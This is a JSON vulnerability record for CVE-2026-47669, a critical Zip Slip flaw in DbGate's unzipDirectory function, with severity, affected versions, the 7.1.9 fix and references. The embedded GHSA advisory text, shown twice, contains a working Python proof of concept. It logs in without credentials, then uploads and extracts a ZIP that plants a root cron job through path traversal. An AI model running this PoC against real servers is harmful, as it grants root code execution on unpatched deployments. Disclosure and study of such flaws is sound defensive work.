{"id":"CVE-2026-47669","aliases":["EUVD-2026-48377","GHSA-h535-j5hr-mv56"],"status":"published","title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00515,"percentile":0.4422,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-06-05T16:26:01Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"npm","package":"dbgate","fixed_in":["7.1.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"dbgate","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"7.1.8"},{"fixed":"7.1.9"}]}]},{"source":"osv","ecosystem":"npm","package":"dbgate","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.9"}]}]}],"products":[{"vendor":"dbgate","product":"dbgate"}],"references":[{"url":"https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/dbgate/dbgate/releases/tag/v7.1.9","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-h535-j5hr-mv56"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47669.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47669","tags":["advisory"]},{"url":"https://github.com/dbgate/dbgate","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47669","title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","status":"published","published":"2026-07-23T19:13:15.469Z","modified":"2026-07-24T20:09:54.441Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:36:40.478484Z"}],"euvd":[{"id":"EUVD-2026-48377","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","status":"published","published":"2026-07-23T19:13:15Z","modified":"2026-07-24T20:09:54Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:19:38.612768Z"}],"ghsa":[{"id":"GHSA-h535-j5hr-mv56","title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id \u003e /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -\u003e RCE. Full container compromise in Docker deployments.","status":"published","published":"2026-06-05T16:26:01Z","modified":"2026-06-05T16:26:03Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:17.745826Z"}],"nvd":[{"id":"CVE-2026-47669","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","status":"published","published":"2026-07-23T20:17:08.357Z","modified":"2026-07-28T16:17:16.127Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:32.473901Z"}],"osv":[{"id":"CVE-2026-47669","title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","status":"published","published":"2026-07-23T19:13:15.469Z","modified":"2026-10-28T02:30:43.182303089Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-h535-j5hr-mv56","title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id \u003e /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -\u003e RCE. Full container compromise in Docker deployments.","status":"published","published":"2026-06-05T16:26:01Z","modified":"2026-06-05T16:41:31.41103Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:48.546324Z"}]}}
